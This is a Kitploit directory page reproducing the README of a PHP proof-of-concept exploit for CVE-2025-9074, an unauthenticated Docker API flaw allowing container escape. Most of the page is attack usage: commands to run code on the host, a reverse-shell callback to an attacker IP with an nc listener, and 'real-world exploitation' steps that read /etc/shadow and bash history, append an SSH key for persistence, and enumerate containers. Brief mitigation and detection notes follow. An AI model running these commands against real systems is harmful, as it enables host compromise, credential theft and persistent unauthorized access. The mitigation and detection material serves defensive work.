Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-9074 β€” PHP poc, exploit for CVE-2025-9074 | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2025-9074
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingCloud SecurityCommand and ControlRemote Access ToolContainer Escape
224 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share
GitHub
c0gnit00/cve-2025-9074

CVE-2025-9074

PHP poc, exploit for CVE-2025-9074

View Repository

CVE-2025-9074: Docker Engine API Unauthenticated RCE

Severity: CRITICAL | CVSS Score: 9.8 (estimated) | Affected Versions: Docker Desktop < 4.44.3

A proof-of-concept exploit for CVE-2025-9074, an unauthenticated Remote Code Execution vulnerability in Docker Engine API that allows privileged container escape and host system compromise.

πŸ”΄ Vulnerability Overview

CVE-2025-9074 is a critical vulnerability in Docker Desktop that exposes the Docker Engine API without proper authentication or network isolation. This allows remote attackers to:

  • Execute arbitrary commands with elevated privileges
  • Escape container isolation and access the host filesystem
  • Establish reverse shell connections to attacker-controlled systems
  • Compromise the entire container host and underlying host OS

Attack Vector

  • Network Exposure: Docker API exposed on network interfaces (typically port 2375/TCP)
  • No Authentication: The API accepts requests without authentication
  • Privileged Containers: Ability to create privileged containers with host filesystem access
  • Bind Mounts: Direct access to host filesystem via bind mount paths

πŸ“‹ Requirements

  • PHP CLI (7.0+)
  • curl extension enabled in PHP
  • Network connectivity to exposed Docker API endpoint
  • Docker Desktop < 4.44.3 (vulnerable version)

System Requirements for Target

The vulnerability affects:

  • Docker Desktop for Windows < 4.44.3
  • Docker Desktop for Mac < 4.44.3
  • Docker Engine (when exposed without TLS)

πŸš€ Quick Start

Installation

git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

Basic Usage

Execute a single command on the Docker host:

php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

Reverse Shell

Establish an interactive reverse shell:

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

πŸ“– Usage Guide

Command Syntax

php poc.php -u <url> [options]

Options

OptionShortRequiredDescription
--url-uβœ… YesDocker API URL (e.g., http://1.2.3.4:2375)
--mode-m❌ NoExecution mode: cmd or reverse (default: cmd)
--cmd-c⚠️ For cmd modeCommand to execute on target
--lhost-l⚠️ For reverse modeYour IP address for callback
--lport-p❌ NoYour listening port (default: 4444)
--osβ€”βŒ NoTarget OS: linux, mac, windows (default: linux)
--cleanupβ€”βŒ NoRemove container after execution
--help-h❌ NoDisplay help message

Mode: Command Execution

Execute single commands on the target:

# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

Mode: Reverse Shell

Spawn an interactive shell with callback:

php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

OS-Specific Examples

Linux Target

php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Windows Target

php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

macOS Target

php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 Real-World Exploitation Scenarios

1. Reconnaissance

# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. Credential Harvesting

# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. Persistence

# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. Lateral Movement

# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

πŸ” Technical Details

Vulnerability Mechanism

  1. Exposed Docker Socket/API: Docker API listens on 0.0.0.0:2375 without authentication
  2. Privileged Container Creation: POC creates privileged containers via /containers/create
  3. Host Filesystem Binding: Containers use bind mounts to access host filesystem:
    • Linux: /:/mnt/hostfs
    • macOS: /:/mnt/hostfs
    • Windows: /mnt/host/c:/mnt/hostfs
  4. Command Execution: Commands execute with root/SYSTEM privileges inside the container
  5. Host Filesystem Access: Direct read/write access to /mnt/hostfs paths

Payload Flow

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ poc.php (Your Machine)                               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚ HTTP REST API Call
             β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Docker API (Target Port 2375) [UNAUTHENTICATED]     β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚ Creates Container
             β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Privileged Alpine Container                          β”‚
β”‚ β”œβ”€ Full Root Access                                 β”‚
β”‚ β”œβ”€ Bind Mount: /:/mnt/hostfs                       β”‚
β”‚ └─ Executes Attacker Command                        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚ Command Output
             β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Output Returned to Attacker                          β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Code Analysis

  • Docker API Interaction: Uses cURL for HTTP/1.1 REST API communication
  • Docker Log Demuxing: Properly handles Docker's multiplexed stream format
  • Cross-Platform Support: Adapts bind mount paths for Windows/Mac/Linux
  • Timeout Handling: 60-second timeout for long-running commands

πŸ›‘οΈ Mitigation

Immediate Actions

  1. Upgrade Docker Desktop

    # Update to version 4.44.3 or later
    
  2. Network Isolation

    • Restrict Docker API port (2375) to localhost only
    • Use firewall rules to block external access
    • Disable Docker API socket exposure
  3. Enable TLS Authentication

    # Configure Docker daemon with TLS certificates
    # In daemon.json:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. Network Segmentation

    • Run Docker Desktop on isolated networks
    • Implement zero-trust network access
    • Use VPNs for remote access

Docker Desktop Settings

  • Windows/Mac: Disable "Expose daemon on tcp://localhost:2375"
  • Use Unix socket (/var/run/docker.sock) for local access only
  • Implement authentication via Docker Context with credentials

πŸ“Š Detection

Network Detection

# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network

# Check if port responds to Docker API
curl -s http://target:2375/version

Log Detection

  • Monitor Docker daemon logs for unusual API calls
  • Alert on privileged container creation
  • Track bind mount usage patterns

⚠️ Disclaimer

This tool is provided for authorized security testing and educational purposes only.

Download Tool